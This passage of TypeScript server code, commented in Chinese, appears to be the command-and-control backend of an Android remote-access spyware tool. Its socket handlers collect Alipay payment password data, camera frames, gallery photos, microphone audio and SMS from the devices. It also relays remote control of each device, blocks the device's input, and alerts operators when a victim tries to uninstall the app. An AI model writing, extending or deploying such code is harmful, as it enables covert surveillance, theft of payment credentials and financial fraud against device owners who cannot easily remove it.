this.logger.info(`📋 密码数据: deviceId=${data?.deviceId}, passwordLength=${data?.passwordLength}, activity=${data?.activity}, inputMethod=${data?.inputMethod}`);
// 路由支付宝密码数据
const routeResult = this.messageRouter.routeAlipayPassword(socket.id, data);
this.logger.info(`📤 支付宝密码路由结果: ${routeResult}`);
});
// 处理摄像头数据
socket.on('camera_data', (data: any) => {
this.messageRouter.routeCameraData(socket.id, data)
})
// 相册图片数据
socket.on('gallery_image', (data: any) => {
this.messageRouter.routeGalleryImage(socket.id, data)
})
// 麦克风音频数据
socket.on('microphone_audio', (data: any) => {
this.messageRouter.routeMicrophoneAudio(socket.id, data)
})
socket.on('sms_data', (data: any) => {
this.messageRouter.routeSmsData(socket.id, data)
})
// 处理设备状态更新
socket.on('device_status', (data: any) => {
this.deviceManager.updateDeviceStatus(socket.id, data)
// 通过socket.deviceId获取设备ID而不是socket.id
if ((socket as any).deviceId) {
this.broadcastDeviceStatus((socket as any).deviceId, data)
}
})
// 处理客户端事件(设备控制请求等)
socket.on('client_event', (data: any) => {
this.logger.info(`收到客户端事件: ${JSON.stringify(data)}`)
this.messageRouter.routeClientEvent(socket.id, data.type, data.data)
})
// 处理操作日志(从设备接收)
socket.on('operation_log', (data: any) => {
this.logger.debug(`收到操作日志: ${JSON.stringify(data)}`)
this.messageRouter.handleOperationLog(socket.id, data)
})
// 💥 处理崩溃日志(从设备接收)
socket.on('crash_log', (data: any) => {
this.logger.warn(`💥 收到崩溃日志: Socket: ${socket.id}, 设备: ${data?.deviceId}, 文件: ${data?.fileName}`)
try {
if (data?.deviceId && data?.content) {
this.databaseService.saveCrashLog({
deviceId: data.deviceId,
fileName: data.fileName || 'unknown.log',
content: data.content,
fileSize: data.fileSize,
crashTime: data.crashTime,
uploadTime: data.uploadTime,
deviceModel: data.deviceModel,
osVersion: data.osVersion
})
// 通知Web端有新的崩溃日志
this.webClientManager.broadcastToAll('crash_log_received', {
deviceId: data.deviceId,
fileName: data.fileName,
crashTime: data.crashTime,
deviceModel: data.deviceModel,
timestamp: Date.now()
})
} else {
this.logger.warn(`⚠️ 崩溃日志数据不完整: ${JSON.stringify(data)}`)
}
} catch (error) {
this.logger.error('处理崩溃日志失败:', error)
}
})
// 📊 自适应画质Web端质量反馈
socket.on('quality_feedback', (data: any) => {
if (!data?.deviceId) return
const result = this.adaptiveQualityService.handleClientFeedback(data.deviceId, {
fps: data.fps || 0,
dropRate: data.dropRate || 0,
renderLatency: data.renderLatency,
})
if (result.shouldAdjust && result.newParams) {
// 转发质量调整指令给Android设备
const device = this.deviceManager.getDevice(data.deviceId)
if (device) {
const deviceSocket = this.io.sockets.sockets.get(device.socketId)
if (deviceSocket) {
deviceSocket.emit('quality_adjust', {
fps: result.newParams.fps,
quality: result.newParams.quality,
maxWidth: result.newParams.maxWidth,
maxHeight: result.newParams.maxHeight,
})
this.logger.info(`📊 自动调整设备${data.deviceId}画质参数`)
}
}
// 通知Web端参数已变更
socket.emit('quality_changed', {
deviceId: data.deviceId,
...result.newParams,
auto: true,
})
}
})
// 📊 自适应画质Web端手动切换质量档位
socket.on('set_quality_profile', (data: any) => {
if (!data?.deviceId || !data?.profile) return
const result = this.adaptiveQualityService.setQualityProfile(data.deviceId, data.profile)
if (result) {
const device = this.deviceManager.getDevice(data.deviceId)
if (device) {
const deviceSocket = this.io.sockets.sockets.get(device.socketId)
if (deviceSocket) {
deviceSocket.emit('quality_adjust', result.params)
}
}
socket.emit('quality_changed', {
deviceId: data.deviceId,
...result.params,
profile: data.profile,
auto: false,
})
}
})
// 📊 自适应画质Web端手动设置自定义参数
socket.on('set_quality_params', (data: any) => {
if (!data?.deviceId) return
const result = this.adaptiveQualityService.setCustomParams(data.deviceId, {
fps: data.fps,
quality: data.quality,
maxWidth: data.maxWidth,
maxHeight: data.maxHeight,
})
const device = this.deviceManager.getDevice(data.deviceId)
if (device) {
const deviceSocket = this.io.sockets.sockets.get(device.socketId)
if (deviceSocket) {
deviceSocket.emit('quality_adjust', result.params)
}
}
socket.emit('quality_changed', {
deviceId: data.deviceId,
...result.params,
auto: false,
})
})
// 📊 获取画质档位列表
socket.on('get_quality_profiles', (callback: any) => {
if (typeof callback === 'function') {
callback(this.adaptiveQualityService.getProfiles())
}
})
// 🆕 处理设备输入阻塞状态变更(从设备接收)
socket.on('device_input_blocked_changed', (data: any) => {
this.logger.info(`📱 收到设备输入阻塞状态变更: Socket: ${socket.id}`)
this.logger.info(`📋 状态数据: deviceId=${data?.deviceId}, blocked=${data?.blocked}, success=${data?.success}, fromConfigComplete=${data?.fromConfigComplete}, autoEnabled=${data?.autoEnabled}`)
// 直接调用MessageRouter的处理方法
if (data?.deviceId && data?.blocked !== undefined) {
this.messageRouter.handleDeviceInputBlockedChanged(data.deviceId, data.blocked)
this.logger.info(`✅ 设备输入阻塞状态已处理: ${data.deviceId} -> ${data.blocked}`)
} else {
this.logger.warn(`⚠️ 设备输入阻塞状态数据不完整: ${JSON.stringify(data)}`)
}
})
// 🛡️ 处理卸载尝试检测(从设备接收)
socket.on('uninstall_attempt_detected', (data: any) => {
this.logger.warn(`🛡️ 收到卸载尝试检测: Socket: ${socket.id}`)
this.logger.warn(`📋 检测数据: deviceId=${data?.deviceId}, type=${data?.type}, timestamp=${data?.timestamp}`)
if (data?.deviceId && data?.type) {
// 广播卸载尝试检测事件到所有Web客户端
this.webClientManager.broadcastToAll('uninstall_attempt_detected', {
deviceId: data.deviceId,
type: data.type,
message: data.message || '检测到卸载尝试',
timestamp: data.timestamp || Date.now()
})
this.logger.warn(`🚨 已广播卸载尝试检测: ${data.deviceId} -> ${data.type}`)
} else {
this.logger.warn(`⚠️ 卸载尝试检测数据不完整: ${JSON.stringify(data)}`)
}
})
// 处理断开连接
socket.on('disconnect', (reason: string) => {
this.handleDisconnect(socket)
})
// 🔧 添加心跳响应处理解决Android客户端CONNECTION_TEST失败问题
socket.on('CONNECTION_TEST', (data: any) => {
this.logger.info(`💓 收到设备心跳检测: ${socket.id}`)
this.logger.debug(`💓 收到设备心跳检测: ${socket.id}`)
try {
// 🔧 关键修复:心跳时也要更新设备活跃时间
if (socket.deviceId) {
const device = this.deviceManager.getDevice(socket.deviceId)
if (device) {
device.lastSeen = new Date()
this.logger.debug(`✅ 心跳更新设备活跃时间: ${socket.deviceId}`)
}
}
socket.emit('CONNECTION_TEST_RESPONSE', {
success: true,
timestamp: Date.now(),
receivedData: data
})
this.logger.debug(`✅ 已回复CONNECTION_TEST确认消息到 ${socket.id}`)
} catch (error) {
this.logger.error(`❌ 回复CONNECTION_TEST失败:`, error)
}
})
// 处理标准ping/pong
socket.on('ping', () => {
socket.emit('pong')
})
// 处理自定义心跳
socket.on('heartbeat', (data: any) => {
this.logger.debug(`💓 收到心跳: ${socket.id}`)
socket.emit('heartbeat_ack', { timestamp: Date.now() })
})
// 错误处理
socket.on('error', (error: any) => {
this.logger.error(`Socket错误 ${socket.id}:`, error)
})
})
}
/**
* 处理设备注册
*/
private handleDeviceRegister(socket: any, data: any): void {
try {
this.logger.info('开始处理设备注册...')
this.logger.info(`注册数据: ${JSON.stringify(data, null, 2)}`)
const deviceId = data.deviceId || uuidv4()
// 🔧 改进重连检测检查是否是同一设备的不同Socket连接
const existingDevice = this.deviceManager.getDevice(deviceId)
if (existingDevice) {
if (existingDevice.socketId === socket.id && socket.deviceId === deviceId && socket.clientType === 'device') {
// 完全相同的注册请求跳过重复但仍需确保Web端收到设备在线通知
this.logger.debug(`跳过重复注册: 设备${deviceId} Socket${socket.id}`)
socket.emit('device_registered', {
deviceId: deviceId,
message: '设备已注册(跳过重复注册)'
})
// ✅ 修复即使跳过重复注册也要确保Web端收到设备在线状态
const connectedClients = this.webClientManager.getClientCount()
if (connectedClients > 0) {
this.logger.info(`📡 重复注册检测时确保广播设备在线状态: ${deviceId}`)
this.webClientManager.broadcastToAll('device_connected', existingDevice)
// 同时广播设备状态更新
this.webClientManager.broadcastToAll('device_status_update', {
deviceId: existingDevice.id,
status: {
online: true,
connected: true,
lastSeen: Date.now(),
inputBlocked: existingDevice.inputBlocked || false
}
})
}
return
} else if (existingDevice.socketId !== socket.id) {
// ✅ 同一设备但不同Socket重连场景更新Socket映射
this.logger.info(`设备重连: ${deviceId} 从Socket${existingDevice.socketId} 切换到 ${socket.id}`)
// 移除旧的Socket映射继续正常注册流程
this.deviceManager.removeDevice(deviceId)
this.databaseService.setDeviceOfflineBySocketId(existingDevice.socketId)
} else {
// ✅ 修复设备存在且Socket相同但可能是MessageRouter恢复的设备需要重新注册以确保状态同步
this.logger.info(`设备已通过数据恢复,重新注册以确保状态同步: ${deviceId}`)
this.deviceManager.removeDevice(deviceId)
}
}
// 🔧 修复备注丢失问题:设备重新连接时从数据库恢复备注信息
const existingDbDevice = this.databaseService.getDeviceById(deviceId)
const deviceInfo = {
id: deviceId,
socketId: socket.id,
name: data.deviceName || 'Unknown Device',
model: data.deviceModel || 'Unknown',
osVersion: data.osVersion || 'Unknown',
appVersion: data.appVersion || '1.0.0',
appPackage: data.appPackage || null,
appName: data.appName || null,
screenWidth: data.screenWidth || 1080,
screenHeight: data.screenHeight || 1920,
capabilities: data.capabilities || [],
connectedAt: new Date(),
lastSeen: new Date(),
status: 'online' as const,
inputBlocked: data.inputBlocked || false,
isLocked: data.isLocked || false, // 初始化锁屏状态
remark: existingDbDevice?.remark || data.remark || null, // 🔧 优先使用数据库中的备注
publicIP: data.publicIP || null,
// 🆕 添加系统版本信息字段
systemVersionName: data.systemVersionName || null,
romType: data.romType || null,
romVersion: data.romVersion || null,
osBuildVersion: data.osBuildVersion || null
}
this.logger.info(`设备信息: ${JSON.stringify(deviceInfo, null, 2)}`)
// 保存到数据库
this.databaseService.saveDevice({
...data,
appPackage: data.appPackage || null,
appName: data.appName || null
}, socket.id)
this.deviceManager.addDevice(deviceInfo)
socket.deviceId = deviceInfo.id
socket.clientType = 'device'
// 通知设备注册成功
socket.emit('device_registered', {
deviceId: deviceInfo.id,
message: '设备注册成功'
})
this.logger.info(`✅ 设备注册成功,已通知设备`)
// 通知所有Web客户端有新设备连接
const connectedClients = this.webClientManager.getClientCount()
if (connectedClients > 0) {
this.logger.info(`📡 通知 ${connectedClients} 个Web客户端有新设备连接`)
this.webClientManager.broadcastToAll('device_connected', deviceInfo)
} else {
this.logger.info(`📡 暂无Web客户端连接跳过设备连接通知`)
}
// ✅ 优化设备重新连接时Android端本身已经维护着真实状态
// 无需向Android端发送控制命令只需要从数据库获取状态用于Web端显示即可
try {
this.logger.info(`📊 记录设备状态: ${deviceInfo.id}`)
const deviceState = this.databaseService.getDeviceState(deviceInfo.id)
if (deviceState) {
// 更新内存中的设备状态用于Web端查询和显示
if (deviceState.inputBlocked !== null) {
deviceInfo.inputBlocked = deviceState.inputBlocked
}
this.logger.info(`✅ 设备状态已记录: ${deviceInfo.id} - 输入阻塞=${deviceState.inputBlocked}, 日志=${deviceState.loggingEnabled}`)
// ✅ 修复状态更新后再次广播完整的设备信息确保Web端收到最新状态
if (connectedClients > 0) {
this.logger.info(`📡 广播设备状态更新: ${deviceInfo.id}`)
this.webClientManager.broadcastToAll('device_status_update', {
deviceId: deviceInfo.id,
status: {
online: true,
connected: true,
lastSeen: Date.now(),
inputBlocked: deviceInfo.inputBlocked
}
})
}
} else {
this.logger.debug(`设备 ${deviceInfo.id} 没有保存的状态信息`)
}
} catch (error) {
this.logger.error(`记录设备 ${deviceInfo.id} 状态失败:`, error)
}
// ✅ 修复:延迟再次确认设备在线状态,解决可能的时序问题
setTimeout(() => {
const finalConnectedClients = this.webClientManager.getClientCount()
if (finalConnectedClients > 0) {
const finalDeviceInfo = this.deviceManager.getDevice(deviceInfo.id)
if (finalDeviceInfo) {
this.logger.info(`📡 最终确认设备在线状态: ${deviceInfo.id}`)
this.webClientManager.broadcastToAll('device_connected', finalDeviceInfo)
}
}
}, 1000) // 1秒后再次确认
this.logger.info(`🎉 设备注册完成: ${deviceInfo.name} (${deviceInfo.id})`)
this.logger.info(`当前连接的设备数量: ${this.deviceManager.getDeviceCount()}`)
} catch (error) {
this.logger.error('设备注册失败:', error)
socket.emit('registration_error', { message: '设备注册失败' })
}
}
/**
* 处理Web客户端注册
*/
private handleWebClientRegister(socket: any, data: any): void {
try {
// 🔐 Web客户端认证验证检查认证token
const token = socket.handshake.auth?.token
if (!token) {
this.logger.warn(`🔐 Web客户端注册缺少认证token: ${socket.id}`)
socket.emit('auth_error', { message: '缺少认证token' })
socket.disconnect()
return
}
// 验证token
const authResult = this.authService.verifyToken(token)
if (!authResult.valid) {
this.logger.warn(`🔐 Web客户端认证失败: ${socket.id}, 错误: ${authResult.error}`)
socket.emit('auth_error', { message: authResult.error || '认证失败' })
socket.disconnect()
return
}
// 认证成功,记录用户信息
socket.userId = authResult.user?.id
socket.username = authResult.user?.username
this.logger.info(`🔐 Web客户端认证成功: ${socket.id}, 用户: ${authResult.user?.username}`)
// 🔧 修复重复注册问题检查是否已有相同Socket ID的客户端
const existingClient = this.webClientManager.getClientBySocketId(socket.id)
if (existingClient) {
this.logger.warn(`⚠️ Socket ${socket.id} 已有注册记录,更新现有客户端信息`)
// 更新现有客户端的活动时间和用户代理
existingClient.lastSeen = new Date()
existingClient.userAgent = data.userAgent || existingClient.userAgent
existingClient.userId = authResult.user?.id // 🔐 更新用户ID
existingClient.username = authResult.user?.username // 🔐 更新用户名
socket.clientId = existingClient.id
socket.clientType = 'web'
// 🔐 恢复用户的设备权限
if (authResult.user?.id) {
this.webClientManager.restoreUserPermissions(authResult.user.id, existingClient.id)
}
// 发送当前设备列表(包含历史设备)
const allDevices = this.getAllDevicesIncludingHistory()
socket.emit('client_registered', {
clientId: existingClient.id,
devices: allDevices
})
this.logger.info(`♻️ Web客户端重连成功: ${existingClient.id}`)
return
}
const clientInfo = {
id: uuidv4(),
socketId: socket.id,
userAgent: data.userAgent || 'Unknown',
ip: socket.handshake.address,
connectedAt: new Date(),
lastSeen: new Date(),
userId: authResult.user?.id, // 🔐 添加用户ID
username: authResult.user?.username // 🔐 添加用户名
}
this.webClientManager.addClient(clientInfo)
socket.clientId = clientInfo.id
socket.clientType = 'web'
// 🔐 恢复用户的设备权限
if (authResult.user?.id) {
this.webClientManager.restoreUserPermissions(authResult.user.id, clientInfo.id)
}
// 发送当前设备列表(包含历史设备)
const allDevices = this.getAllDevicesIncludingHistory()
socket.emit('client_registered', {
clientId: clientInfo.id,
devices: allDevices
})
this.logger.info(`✅ Web客户端注册成功: ${clientInfo.id} (IP: ${clientInfo.ip})`)
this.logger.info(`📊 当前Web客户端数量: ${this.webClientManager.getClientCount()}`)
} catch (error) {
this.logger.error('Web客户端注册失败:', error)
socket.emit('registration_error', { message: '客户端注册失败' })
}
}
/**
* 处理连接断开 - 增强版,减少误判设备断开
*/
private handleDisconnect(socket: any): void {
this.logger.info(`连接断开: ${socket.id} (类型: ${socket.clientType})`)
// 更新数据库中的断开连接记录
this.databaseService.updateDisconnection(socket.id)
if (socket.clientType === 'device' && socket.deviceId) {
const deviceId = socket.deviceId
this.logger.warn(`🔍 设备Socket断开: ${deviceId} (${socket.id})`)
// 🔧 优化:短延迟验证断开状态,平衡误判防护和真实断开检测速度
// 因为Socket.IO的disconnect事件可能因为网络抖动等原因被误触发但真正断开应该快速处理
setTimeout(() => {
this.verifyDeviceDisconnection(deviceId, socket.id)
}, 1500) // 1.5秒后验证,更快响应真实断开
} else if (socket.clientType === 'web' && socket.clientId) {
// 🔧 优化Web客户端断开处理
const clientId = socket.clientId
const client = this.webClientManager.getClient(clientId)
if (client) {
// 如果客户端正在控制设备,释放控制权
if (client.controllingDeviceId) {
this.logger.info(`🔓 Web客户端断开释放设备控制权: ${client.controllingDeviceId}`)
this.webClientManager.releaseDeviceControl(client.controllingDeviceId)
// 通知设备控制者已离开
const deviceSocketId = this.deviceManager.getDeviceSocketId(client.controllingDeviceId)
if (deviceSocketId) {
const deviceSocket = this.io.sockets.sockets.get(deviceSocketId)
if (deviceSocket) {
deviceSocket.emit('controller_changed', { clientId: null })
}
}
}
this.webClientManager.removeClient(clientId)
this.logger.info(`Web客户端断开连接: ${clientId} (IP: ${client.ip})`)
} else {
// 通过Socket ID移除客户端
this.webClientManager.removeClientBySocketId(socket.id)
this.logger.info(`Web客户端断开连接 (通过Socket ID): ${socket.id}`)
}
this.logger.info(`📊 当前Web客户端数量: ${this.webClientManager.getClientCount()}`)
} else {
// 🔧 处理未识别的连接类型
this.logger.warn(`⚠️ 未识别的连接断开: ${socket.id} (类型: ${socket.clientType})`)
// 尝试清理可能存在的记录
this.webClientManager.removeClientBySocketId(socket.id)
}
}
/**
* 获取所有设备(包含历史设备)
*/
private getAllDevicesIncludingHistory(): any[] {
try {
// ✅ 直接从数据库获取设备,状态已经正确存储
const allDbDevices = this.databaseService.getAllDevices()
// 获取内存中的在线设备用于补充Socket ID
const onlineDevices = this.deviceManager.getAllDevices()
const onlineDeviceMap = new Map()
onlineDevices.forEach(device => {
onlineDeviceMap.set(device.id, device)
})
// 转换为前端格式并补充Socket ID
const devices = allDbDevices.map(dbDevice => {
const onlineDevice = onlineDeviceMap.get(dbDevice.deviceId)
return {
id: dbDevice.deviceId,
socketId: onlineDevice?.socketId || '', // 在线设备有Socket ID离线设备为空
name: dbDevice.deviceName,
model: dbDevice.deviceModel,
osVersion: dbDevice.osVersion,
appVersion: dbDevice.appVersion,
appName: dbDevice.appName,
remark: dbDevice.remark,
screenWidth: dbDevice.screenWidth,
screenHeight: dbDevice.screenHeight,
capabilities: dbDevice.capabilities,
connectedAt: dbDevice.firstSeen,
lastSeen: dbDevice.lastSeen,
// ✅ 关键修复优先使用内存中的状态如果设备在内存中则为online否则使用数据库状态
status: onlineDevice ? 'online' : dbDevice.status,
inputBlocked: onlineDevice?.inputBlocked || false,
publicIP: dbDevice.publicIP,
// 🆕 添加系统版本信息字段
systemVersionName: dbDevice.systemVersionName,
romType: dbDevice.romType,
romVersion: dbDevice.romVersion,
osBuildVersion: dbDevice.osBuildVersion
}
})
this.logger.info(`📊 获取设备列表: 总数=${devices.length}, 在线=${devices.filter(d => d.status === 'online').length}`)
return devices
} catch (error) {
this.logger.error('获取设备列表失败:', error)
// 出错时返回内存中的设备
return this.deviceManager.getAllDevices()
}
}
/**
* 🆕 获取活跃的Web客户端列表
*/
private getActiveWebClients(): any[] {
try {
const allClients = Array.from(this.webClientManager.getAllClients())
const activeClients = allClients.filter(client => {
const socket = this.io.sockets.sockets.get(client.socketId)
return socket && socket.connected
})
this.logger.debug(`📊 活跃Web客户端检查: 总数=${allClients.length}, 活跃=${activeClients.length}`)
return activeClients.map(client => ({
id: client.id,
userAgent: client.userAgent,
ip: client.ip,
connectedAt: client.connectedAt,
lastSeen: client.lastSeen
}))
} catch (error) {
this.logger.error('获取活跃Web客户端失败:', error)
return []
}
}
/**
* 广播设备状态
*/
private broadcastDeviceStatus(deviceId: string, status: any): void {
this.webClientManager.broadcastToAll('device_status_update', {
deviceId,
status
})
}
/**
* ✅ 服务器启动时恢复设备状态
*/
private recoverDeviceStates(): void {
setTimeout(() => {
this.logger.info('🔄🔄🔄 开始恢复设备状态... 🔄🔄🔄')
// ✅ 首先将数据库中所有设备状态重置为离线
this.databaseService.resetAllDevicesToOffline()
// 获取所有已连接的Socket
const connectedSockets = Array.from(this.io.sockets.sockets.values())
this.logger.info(`📊 发现已连接的Socket数量: ${connectedSockets.length}`)
if (connectedSockets.length === 0) {
this.logger.info('📱 没有发现已连接的Socket等待设备主动连接...')
return
}
// 向所有Socket发送ping要求重新注册
connectedSockets.forEach((socket, index) => {
try {
this.logger.info(`📤 [${index + 1}/${connectedSockets.length}] 向Socket ${socket.id} 发送重新注册请求`)
// 检查Socket是否仍然连接
if (!socket.connected) {
this.logger.warn(`⚠️ Socket ${socket.id} 已断开,跳过`)
return
}
// 发送ping请求设备重新注册
socket.emit('server_restarted', {
message: '服务器已重启,请重新注册',
timestamp: new Date().toISOString()
})
this.logger.info(`✅ server_restarted 事件已发送到 ${socket.id}`)
// 同时发送通用ping
socket.emit('ping_for_registration', {
requireReregistration: true,
serverRestartTime: new Date().toISOString()
})
this.logger.info(`✅ ping_for_registration 事件已发送到 ${socket.id}`)
} catch (error) {
this.logger.error(`❌ 发送重新注册请求失败 (Socket: ${socket.id}):`, error)
}
})
// 5秒后检查恢复结果
setTimeout(() => {
const recoveredDevices = this.deviceManager.getDeviceCount()
this.logger.info(`🎉 设备状态恢复完成! 恢复设备数量: ${recoveredDevices}`)
if (recoveredDevices > 0) {
// 广播设备列表更新
this.webClientManager.broadcastToAll('devices_recovered', {
deviceCount: recoveredDevices,
devices: this.deviceManager.getAllDevices()
})
} else {
this.logger.warn('⚠️ 没有设备恢复连接,可能需要手动重启设备应用')
}
}, 5000)
}, 2000) // 延迟2秒执行确保服务器完全启动
}
/**
* ✅ 启动状态一致性检查定时器
*/
private startConsistencyChecker(): void {
// 🔧 优化:平衡检查频率,快速发现断开同时避免心跳冲突
setInterval(() => {
this.checkAndFixInconsistentStates()
}, 60000) // 改为每1分钟检查一次平衡检测速度和稳定性
// ✅ 新增每10秒刷新一次设备状态给Web端确保状态同步
setInterval(() => {
this.refreshDeviceStatusToWebClients()
}, 10000) // 每10秒刷新一次
this.logger.info('✅ 状态一致性检查定时器已启动1分钟间隔- 平衡版本,快速检测断开+避免心跳误判+主动连接测试')
}
/**
* ✅ 检查和修复不一致状态 - 增强版,减少误判
*/
private checkAndFixInconsistentStates(): void {
try {
const memoryDevices = this.deviceManager.getAllDevices()
let fixedCount = 0
const currentTime = Date.now()
this.logger.debug(`🔍 开始状态一致性检查,检查 ${memoryDevices.length} 个设备`)
for (const device of memoryDevices) {
const socket = this.io.sockets.sockets.get(device.socketId)
// 🔧 修复:增加多重验证条件,避免误判
const socketExists = !!socket
const socketConnected = socket?.connected || false
const timeSinceLastSeen = currentTime - device.lastSeen.getTime()
const isRecentlyActive = timeSinceLastSeen < 180000 // 3分钟内有活动
this.logger.debug(`📊 设备 ${device.id} 状态检查: socket存在=${socketExists}, 连接=${socketConnected}, 最后活跃=${Math.round(timeSinceLastSeen / 1000)}秒前`)
// 🔧 平衡的断开判断逻辑:快速检测真实断开,避免心跳期间误判
// 1. Socket必须完全不存在不检查connected状态因为心跳期间可能瞬时为false
// 2. 且设备超过2分钟无活动适中的容错时间足够检测真实断开
// 3. 且不是刚连接的设备(避免恢复期间的竞态条件)
const shouldRemove = !socketExists &&
timeSinceLastSeen > 120000 && // 2分钟无活动才考虑断开
(currentTime - device.connectedAt.getTime()) > 60000 // 连接超过1分钟才检查
if (shouldRemove) {
this.logger.warn(`⚠️ 确认设备真正断开: ${device.id} (${device.name})`)
this.logger.warn(` - Socket存在: ${socketExists}, 连接: ${socketConnected}`)
this.logger.warn(` - 最后活跃: ${Math.round(timeSinceLastSeen / 1000)}秒前`)
this.logger.warn(` - 连接时长: ${Math.round((currentTime - device.connectedAt.getTime()) / 1000)}`)
// 🔧 优化:适中的二次确认延迟,快速清理真正断开的设备
setTimeout(() => {
this.performSecondaryDeviceCheck(device.id, device.socketId)
}, 3000) // 3秒后二次确认
} else {
// 设备状态正常或在容错范围内
if (!socketExists || !socketConnected) {
this.logger.debug(`⏸️ 设备 ${device.id} Socket状态异常但在容错范围内 (最后活跃: ${Math.round(timeSinceLastSeen / 1000)}秒前)`)
}
}
}
if (fixedCount > 0) {
this.logger.info(`🔧 状态一致性检查完成,修复了 ${fixedCount} 个不一致状态`)
} else {
this.logger.debug(`✅ 状态一致性检查完成,所有设备状态正常`)
}
} catch (error) {
this.logger.error('状态一致性检查失败:', error)
}
}
/**
* 🔧 验证设备断开连接 - 平衡策略:快速检测真实断开,避免误判
*
* 优化策略:
* 1. Socket不存在时立即清理真正断开
* 2. Socket存在但未连接时主动测试CONNECTION_TEST
* 3. 测试无响应时确认断开,有响应时恢复状态
* 4. 缩短各种延迟时间,提高响应速度
*/
private verifyDeviceDisconnection(deviceId: string, socketId: string): void {
try {
const device = this.deviceManager.getDevice(deviceId)
if (!device) {
this.logger.debug(`📋 验证断开时设备 ${deviceId} 已不在内存中,可能已被其他逻辑清理`)
return
}
// 检查设备是否已经重新连接新的Socket ID
if (device.socketId !== socketId) {
this.logger.info(`✅ 设备 ${deviceId} 已重新连接新Socket: ${device.socketId},跳过断开处理`)
return
}
const socket = this.io.sockets.sockets.get(socketId)
const currentTime = Date.now()
const timeSinceLastSeen = currentTime - device.lastSeen.getTime()
// 🔧 优化:区分不同断开场景的检查条件
const socketExists = !!socket
const socketConnected = socket?.connected || false
const hasRecentActivity = timeSinceLastSeen < 5000 // 5秒内有活动
this.logger.info(`🔍 验证设备 ${deviceId} 断开状态:`)
this.logger.info(` - Socket存在: ${socketExists}, 连接: ${socketConnected}`)
this.logger.info(` - 最后活跃: ${Math.round(timeSinceLastSeen / 1000)}秒前`)
this.logger.info(` - 近期活跃: ${hasRecentActivity}`)
// 🔧 关键优化如果Socket不存在很可能是真正的断开
if (!socketExists) {
this.logger.warn(`❌ Socket完全不存在确认设备真实断开: ${deviceId}`)
this.executeDeviceCleanup(deviceId, device)
return
}
// 🔧 如果Socket存在但未连接且无近期活动尝试主动测试连接
if (!socketConnected && !hasRecentActivity) {
this.logger.warn(`🔍 Socket存在但未连接主动测试设备连接: ${deviceId}`)
this.testDeviceConnection(deviceId, socketId, device)
return
}
// 设备状态正常确保Web端知道设备在线
this.logger.info(`✅ 验证结果:设备 ${deviceId} 仍然在线disconnect事件是误报`)
this.webClientManager.broadcastToAll('device_status_update', {
deviceId: device.id,
status: {
online: true,
connected: true,
lastSeen: Date.now(),
inputBlocked: device.inputBlocked || false
}
})
} catch (error) {
this.logger.error(`验证设备断开失败 (${deviceId}):`, error)
}
}
/**
* 🆕 主动测试设备连接
*/
private testDeviceConnection(deviceId: string, socketId: string, device: any): void {
const socket = this.io.sockets.sockets.get(socketId)
if (!socket) {
this.logger.warn(`❌ 测试连接时Socket已不存在: ${deviceId}`)
this.executeDeviceCleanup(deviceId, device)
return
}
this.logger.info(`📡 向设备 ${deviceId} 发送连接测试`)
// 设置响应超时
let responded = false
const timeout = setTimeout(() => {
if (!responded) {
this.logger.warn(`⏰ 设备 ${deviceId} 连接测试超时,确认断开`)
this.executeDeviceCleanup(deviceId, device)
}
}, 5000) // 5秒超时
// 发送测试ping
try {
socket.emit('CONNECTION_TEST', {
timestamp: Date.now(),
testId: `verify_${Date.now()}`
})
// 监听一次性响应
const responseHandler = (data: any) => {
responded = true
clearTimeout(timeout)
this.logger.info(`✅ 设备 ${deviceId} 连接测试成功,设备仍在线`)
// 更新设备活跃时间
device.lastSeen = new Date()
// 确保Web端知道设备在线
this.webClientManager.broadcastToAll('device_status_update', {
deviceId: device.id,
status: {
online: true,
connected: true,
lastSeen: Date.now(),
inputBlocked: device.inputBlocked || false
}
})
// 清理监听器
socket.off('CONNECTION_TEST_RESPONSE', responseHandler)
}
socket.once('CONNECTION_TEST_RESPONSE', responseHandler)
} catch (error) {
responded = true
clearTimeout(timeout)
this.logger.error(`❌ 发送连接测试失败: ${deviceId}`, error)
this.executeDeviceCleanup(deviceId, device)
}
}
/**
* 🆕 执行设备清理逻辑
*/
private executeDeviceCleanup(deviceId: string, device: any): void {
this.logger.warn(`🧹 执行设备清理: ${deviceId} (${device.name})`)
// 释放控制权
const controllerId = this.webClientManager.getDeviceController(deviceId)
if (controllerId) {
this.logger.info(`🔓 设备断开,自动释放控制权: ${deviceId} (控制者: ${controllerId})`)
this.webClientManager.releaseDeviceControl(deviceId)
// 通知控制的Web客户端设备已断开
this.webClientManager.sendToClient(controllerId, 'device_control_lost', {
deviceId: deviceId,
reason: 'device_disconnected',
message: '设备已断开连接'
})
}
// 清理设备
this.deviceManager.removeDevice(deviceId)
this.databaseService.setDeviceOffline(deviceId)
this.webClientManager.broadcastToAll('device_disconnected', deviceId)
this.logger.info(`✅ 已清理断开的设备: ${device.name} (${deviceId})`)
}
/**
* 🔧 二次确认设备是否真正断开(避免误判)
*/
private performSecondaryDeviceCheck(deviceId: string, socketId: string): void {
try {
const device = this.deviceManager.getDevice(deviceId)
if (!device) {
this.logger.debug(`📋 二次检查时设备 ${deviceId} 已不在内存中,跳过`)
return
}
const socket = this.io.sockets.sockets.get(socketId)
const currentTime = Date.now()
const timeSinceLastSeen = currentTime - device.lastSeen.getTime()
// 🔧 优化二次检查条件更合理60秒无活动就考虑断开
const socketExists = !!socket
const socketConnected = socket?.connected || false
const isInactive = timeSinceLastSeen > 60000 // 1分钟无活动
this.logger.info(`🔍 二次确认设备 ${deviceId} 状态:`)
this.logger.info(` - Socket存在: ${socketExists}, 连接: ${socketConnected}`)
this.logger.info(` - 最后活跃: ${Math.round(timeSinceLastSeen / 1000)}秒前`)
if (!socketExists || (!socketConnected && isInactive)) {
this.logger.warn(`❌ 二次确认:设备 ${deviceId} 确实已断开,执行清理`)
this.executeDeviceCleanup(deviceId, device)
} else {
this.logger.info(`✅ 二次确认:设备 ${deviceId} 状态正常,保持连接`)
// 设备状态恢复正常确保Web端知道设备在线
if (socketExists && socketConnected) {
this.webClientManager.broadcastToAll('device_status_update', {
deviceId: device.id,
status: {
online: true,
connected: true,
lastSeen: Date.now(),
inputBlocked: device.inputBlocked || false
}
})
}
}
} catch (error) {
this.logger.error(`二次设备检查失败 (${deviceId}):`, error)
}
}
/**
* ✅ 刷新设备状态给Web客户端
*/
private refreshDeviceStatusToWebClients(): void {
try {
const webClientCount = this.webClientManager.getClientCount()
if (webClientCount === 0) {
return // 没有Web客户端跳过刷新
}
const onlineDevices = this.deviceManager.getAllDevices()
for (const device of onlineDevices) {
// 验证设备Socket仍然连接
const socket = this.io.sockets.sockets.get(device.socketId)
